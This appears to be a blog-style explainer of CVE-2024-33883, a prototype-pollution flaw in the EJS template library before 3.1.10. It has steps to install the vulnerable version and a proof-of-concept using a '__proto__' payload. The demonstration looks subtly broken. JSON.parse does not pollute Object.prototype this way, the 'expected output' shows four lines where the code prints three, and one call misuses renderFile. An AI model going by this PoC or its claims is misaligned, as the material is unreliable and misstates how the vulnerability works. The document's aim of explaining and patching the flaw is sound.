CVE-2024-33883 - Exploiting Prototype Pollution in EJS Before 3.1.10 — How Node.js Applications Got Vulnerable

Embedded JavaScript templates, better known as EJS, is a staple for countless Node.js web apps. It lets you combine JavaScript with HTML templates, making it easy to generate dynamic web pages. But if you’re using a vulnerable version, your app could be open to some serious security trouble. This article dives deep into CVE-2024-33883, which exposes how EJS (before v3.1.10) is susceptible to prototype pollution — and what attackers can actually do with it.

What Is Prototype Pollution?

*Prototype pollution* lets a hacker tamper with the prototype of JavaScript objects, potentially affecting any object in your app. Here’s a basic rundown:

All objects inherit properties from their prototype.

- If you trick the code into modifying the prototype (__proto__), you can add or change methods/values everywhere in the application.

This can lead to information leaks, privilege escalation, or even remote code execution, depending on how objects are used.

About CVE-2024-33883

- Affects: EJS (Embedded JavaScript templates) below version 3.1.10
- Impact: Lacks protection against prototype pollution via user-supplied data in template variables.
- Fixed in: EJS v3.1.10 (Changelog)

Official References

- GitHub advisory
- CVE-2024-33883 NVD Entry

How the Vulnerability Happens

EJS accepts data objects that are injected into templates for rendering. If those objects contain keys like __proto__, they could pollute the global Object.prototype, which means every object (including seemingly unrelated ones) now has malicious properties.

Here’s how an attacker could supply poisoned data

// app.js — Unsafe EJS usage
const ejs = require('ejs');

const userInput = req.body; // Let's say user controls this!
const html = ejs.renderFile('profile.ejs', userInput); // risk!

If the userInput contains something like

{
  "__proto__": { "polluted": "Hacked!" }
}

It pollutes all JavaScript objects with a new property called polluted.

Step 1: Install vulnerable version of EJS

npm install ejs@3.1.9

Step 2: Test the pollution

const ejs = require('ejs');

// Attacker-controlled data
const data = JSON.parse('{ "__proto__": { "hacked": true } }');

// Render a template - triggers injection
ejs.render('<%= hacked %>', data); // will print "true"

// Test if other objects are polluted
console.log({}.hacked); // true
console.log([].hacked); // true
console.log((() => { })['hacked']); // true

Expected output

true
true
true
true

This proves that simply passing a user input containing __proto__ can corrupt all objects forever in your process!

Why Is This Bad?

- Data leaks: If someone adds a property, EVERY object sees it. That could expose or tamper with confidential data.

Access control bypass: Attackers might manipulate security logic which checks object properties.

- Code execution: In some scenarios, attackers could potentially trigger execution of new injected code.

How Was It Fixed?

The fix added validation to the EJS data handling. It ensures keys like __proto__, constructor, or prototype can’t get through.

Sanitize User Input

Always validate/sanitize data you pass to renderers like EJS.

Final Words

CVE-2024-33883 is a classic tale of trusting user input too much. If you process templates, always question incoming data — don’t let it mutate your app’s DNA!

- The EJS GitHub repo
- NPM Security Docs
- Prototype Pollution explanation

Timeline

Published on: 04/28/2024 16:15:23 UTC
Last modified on: 08/02/2024 02:42:59 UTC